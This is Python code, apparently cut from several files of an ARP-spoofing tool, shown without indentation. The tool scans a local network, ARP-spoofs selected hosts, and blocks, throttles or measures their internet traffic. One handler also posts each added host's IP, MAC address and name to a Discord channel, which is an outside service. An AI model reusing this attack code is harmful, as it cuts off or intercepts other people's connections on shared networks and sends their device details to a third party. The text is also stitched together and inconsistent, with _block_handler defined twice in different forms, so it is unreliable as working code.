def _free_host(self, host):
"""
Stops ARP spoofing and unlimits host
"""
if host.spoofed:
self.arp_spoofer.remove(host)
self.limiter.unlimit(host)
IO.ok('{}{}{} freed.'.format(IO.Fore.LIGHTYELLOW_EX, host.ip,
IO.Style.RESET_ALL))
def interrupt_handler(self, ctrl_c=True):
if ctrl_c:
IO.spacer()
IO.ok('cleaning up... stand by...')
self.arp_spoofer.stop()
for host in self.hosts:
self._free_host(host)
def process_arguments(args):
"""
Processes the specified command-line arguments, adds them to a named tuple
and returns.
Executes actions specified in the command line, e.g. flush network settings
"""
if args.interface is None:
interface = netutils.get_default_interface()
if interface is None:
IO.error('default interface could not be resolved. specify manually (-i).')
return
else:
interface = args.interface
if not netutils.exists_interface(interface):
IO.error('interface {}{}{} does not exist.'.format(IO.Fore.LIGHTYELLOW_EX, interface, IO.Style.RESET_ALL))
return
IO.ok('interface: {}{}{}'.format(IO.Fore.LIGHTYELLOW_EX, interface, IO.Style.RESET_ALL))
if args.gateway is None:
gateway_ip = netutils.get_default_gateway()
if gateway_ip is None:
IO.error('default gateway address could not be resolved. specify manually (-g).')
return
else:
gateway_ip = args.gateway
IO.ok('gateway ip: {}{}{}'.format(IO.Fore.LIGHTYELLOW_EX, gateway_ip, IO.Style.RESET_ALL))
gateway_mac = netutils.get_mac_by_ip(interface, gateway_ip)
if gateway_mac is None:
IO.error('gateway mac address could not be resolved.')
return
IO.ok('gateway mac: {}{}{}'.format(IO.Fore.LIGHTYELLOW_EX, gateway_mac, IO.Style.RESET_ALL))
if args.netmask is None:
netmask = netutils.get_default_netmask(interface)
if netmask is None:
IO.error('netmask could not be resolved. specify manually (-n).')
return
else:
netmask = args.netmask
IO.ok('netmask: {}{}{}'.format(IO.Fore.LIGHTYELLOW_EX, netmask, IO.Style.RESET_ALL))
if args.flush:
netutils.flush_network_settings(interface)
IO.spacer()
IO.ok('flushed network settings')
return InitialArguments(interface=interface, gateway_ip=gateway_ip, gateway_mac=gateway_mac, netmask=netmask)
def _block_handler(self, args):
"""
Handles 'block' command-line argument
Blocks internet communication for host
"""
host = self._get_host_by_id(args.id)
if host is not None:
if not host.spoofed:
self.arp_spoofer.add(host)
self.limiter.block(host)
IO.ok('{}{}{} blocked{}.'.format(IO.Fore.LIGHTYELLOW_EX, host.ip,
IO.Fore.RED, IO.Style.RESET_ALL))
def _scan_handler(self, args):
"""
Handles 'scan' command-line argument
(Re)scans for hosts on the network
"""
for host in self.hosts:
self._free_host(host)
IO.spacer()
self.hosts = self.host_scanner.scan()
IO.ok('{}{}{} hosts discovered.'.format(IO.Fore.LIGHTYELLOW_EX,
len(self.hosts),
IO.Style.RESET_ALL))
IO.spacer()
def _add_handler(self, args):
"""
Handles 'add' command-line argument
Adds custom host to host list
"""
ip = args.ip
if not netutils.validate_ip_address(ip):
IO.error('invalid ip address.')
return
if args.mac:
mac = args.mac
if not netutils.validate_mac_address(mac):
IO.error('invalid mac address.')
return
else:
mac = netutils.get_mac_by_ip(self.interface, ip)
if mac is None:
IO.error(
'unable to resolve mac address. specify manually (--mac).')
return
name = None
try:
host_info = socket.gethostbyaddr(ip)
name = None if host_info is None else host_info[0]
except socket.herror:
pass
host = Host(ip, mac, name)
with self.hosts_lock:
if host in self.hosts:
IO.error('host does already exist.')
return
self.hosts.append(host)
IO.ok('host added.')
IO.discord("""
```
IP: {}
MAC: {}
NAME: {}
Berhasil ditambahkan
```
""".format(host.ip, host.mac, host.name))
def scan(self):
with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
hosts = []
iterator = tqdm(
iterable=executor.map(self._sweep, self.iprange),
total=len(self.iprange),
ncols=45,
bar_format='{percentage:3.0f}% |{bar}| {n_fmt}/{total_fmt}')
try:
for host in iterator:
if host is not None:
hosts.append(host)
except KeyboardInterrupt:
iterator.close()
IO.ok('aborted. waiting for shutdown...')
return hosts
def _block_handler(self, args):
"""
Handles 'block' command-line argument
Blocks internet communication for host
"""
hosts = self._get_hosts_by_ids(args.id)
direction = self._parse_direction_args(args)
if hosts is not None and len(hosts) > 0:
for host in hosts:
if not host.spoofed:
self.arp_spoofer.add(host)
self.limiter.block(host, direction)
IO.ok('{}{}{r} {} {}blocked{r}.'.format(
IO.Fore.LIGHTYELLOW_EX,
host.ip,
Direction.pretty_direction(direction),
IO.Fore.RED,
r=IO.Style.RESET_ALL))
def _limit_handler(self, args):
"""
Handles 'limit' command-line argument
Limits bandwith of host to specified rate
"""
hosts = self._get_hosts_by_ids(args.id)
rate = args.rate
if hosts is not None and len(hosts) > 0:
for host in hosts:
if not host.spoofed:
self.arp_spoofer.add(host)
if netutils.validate_netrate_string(rate):
self.limiter.limit(host, rate)
else:
IO.error('limit rate is invalid.')
return
IO.ok('{}{}{} limited{} to {}.'.format(IO.Fore.LIGHTYELLOW_EX, host.ip, IO.Fore.LIGHTRED_EX, IO.Style.RESET_ALL, rate))
def _analyze_handler(self, args):
hosts = self._get_hosts_by_ids(args.id)
if hosts is None or len(hosts) == 0:
IO.error('no hosts to be analyzed.')
return
duration = 30 # in s
if args.duration:
if not args.duration.isdigit():
IO.error('invalid duration.')
return
duration = int(args.duration)
hosts_to_be_freed = set()
host_values = {}
for host in hosts:
if not host.spoofed:
hosts_to_be_freed.add(host)
self.arp_spoofer.add(host)
self.bandwidth_monitor.add(host)
host_result = self.bandwidth_monitor.get(host)
host_values[host] = {}
host_values[host]['prev'] = (host_result.upload_total_size,
host_result.download_total_size)
IO.ok('analyzing traffic for {}s.'.format(duration))
time.sleep(duration)
error_occurred = False
for host in hosts:
host_result = self.bandwidth_monitor.get(host)
if host_result is None:
# host reconnected during analysis
IO.error('host reconnected during analysis.')
error_occurred = True
else:
host_values[host]['current'] = (
host_result.upload_total_size,
host_result.download_total_size)
IO.ok('cleaning up...')
for host in hosts_to_be_freed:
self._free_host(host)
if error_occurred:
return
upload_chart = BarChart(max_bar_length=29)
download_chart = BarChart(max_bar_length=29)
for host in hosts:
upload_value = host_values[host]['current'][0] - host_values[host][
'prev'][0]
download_value = host_values[host]['current'][1] - host_values[
host]['prev'][1]
prefix = '{}{}{} ({}, {})'.format(IO.Fore.LIGHTYELLOW_EX,
self._get_host_id(host),
IO.Style.RESET_ALL, host.ip,
host.name)
upload_chart.add_value(upload_value.value, prefix, upload_value)
download_chart.add_value(download_value.value, prefix,
download_value)
upload_table = SingleTable([[upload_chart.get()]], 'Upload')
download_table = SingleTable([[download_chart.get()]], 'Download')
upload_table.inner_heading_row_border = False
download_table.inner_heading_row_border = False
IO.spacer()
IO.print(upload_table.table)
IO.print(download_table.table)
IO.spacer()
